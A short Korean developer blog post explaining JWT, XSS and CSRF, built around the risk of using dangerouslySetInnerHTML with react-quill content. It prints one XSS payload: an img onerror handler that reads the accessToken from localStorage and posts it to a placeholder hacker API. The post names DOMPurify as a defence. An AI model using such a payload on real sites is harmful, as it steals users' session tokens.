token, XSS, CSRF

M_yeon·2022년 10월 22일
0

token

JSON 웹 토큰(JSON Web Token, JWT)은 선택적 서명 및 선택적 암호화를 사용하여 데이터를 만들기 위한 인터넷 표준으로,
토큰은 비공개 시크릿 키 또는 공개/비공개 키를 사용하여 서명된다.
암호화 복호화를 통해 보완되며 현재 저는 JWT를 이용하여 쿠키에 저장되어 있고 refreshToken을 사용하고 있습니다.


XSS

XSS(Cross-Site Scripting)이란?
사이트 간 스크립팅(또는 크로스 사이트 스크립팅, 영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다.


우선 프로젝트를 진행할때 게시글 작성폼에는 react-quill을 이용해서 contents를 만들었는데요 이부분에서 문제가 생깁니다.

이런 라이브러리를 사용하게 되면 게시글을 올리고 확인하는 detail 페이지에서
<p>게시글 작성작성</p>이렇게 태그까지 나타나게 됩니다.

태그없이 나타나게 해주고자 dangerouslySetInnerHTML를 사용하게 되는데 태그의 이름처럼 dangerous 위험하다고 합니다.

그러면 뭐가 위험하냐?
해커에게 위험을 받을 수 있는 여지가 매우 큰 방법인데요.

<img src="http://images.png" />

위와 같은 img태그에 onerror라는 속성을 더해,
해당 태그를 dangerouslySetInnerHTML 속성을 이용해 불러왔을 때
사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있습니다.

🚨onerror란 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소입니다.

일반적으로는 대체 이미지 경로를 입력합니다.

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />

위와 같은 예시 코드가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 됩니다.

예시는 간단한 코드이지만, onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에 dangerouslySetInnerHTML을 이용할 경우 사용자의 민감 정보가 손쉽게 탈취당할 위험에 노출되어 있다고 볼 수 있습니다.

예시로 들었던 스크립트를 활용한 토큰 탈취처럼, 다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 합니다.

지금과 같은 공격 코드가 들어있으면 자동으로 차단해주는 라이브러리인 DOMPurify를 이용하면 됩니다.


CSRF(Cross-Site Request Fogery)란?

사이트 간 요청 위조(또는 크로스 사이트 요청 위조, CSRF, XSRF)는 웹 사이트 취약점 공격의 하나로,
사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다.
유명 경매 사이트인 옥션에서 발생한 개인정보 유출 사건에서 사용된 공격 방식 중 하나다.

사이트 간 스크립팅(XSS)을 이용한 공격이 사용자가 특정 웹사이트를 신용하는 점을 노린 것이라면, 사이트간 요청 위조는 특정 웹사이트가 사용자의 웹 브라우저를 신용하는 상태를 노린 것이다. 일단 사용자가 웹사이트에 로그인한 상태에서 사이트간 요청 위조 공격 코드가 삽입된 페이지를 열면, 공격 대상이 되는 웹사이트는 위조된 공격 명령이 믿을 수 있는 사용자로부터 발송된 것으로 판단하게 되어 공격에 노출된다.

CSRF는 공격자가 사용자의 컴퓨터를 감염시키거나 사이트 해킹을 해서 이뤄지는 공격이 아니므로  공격이 성공하려면 다음 조건을 만족해야 한다.
1. 위조 요청을 전송하는 서비스(ex : 페이스북)에 희생자가 로그인 상태여야함.
2. 희생자는 공격자가 만든 피싱 사이트에 접속해야함.


XSS공격과 CSRF는 사용자(피해자)의 브라우저를 목표로 하는 비슷한 공격이지만
XSS는 사이트변조나 백도어를 통해 클라이언트에 대한 악성공격을 하고,
인증된 세션이 없어도 공격을 할 수 있으며, 자바 스크립트를 실행 시키는 공격.

CSRF는 요청을 위조하여 사용자의 권한을 이용해 서버에 대한 악성공격을 하고,
인증된 세션을 악용하며, 특정한 행동을 실행 시키는 공격이라는 점에서
두가지 공격의 차이가 있다.

방지대책

0개의 댓글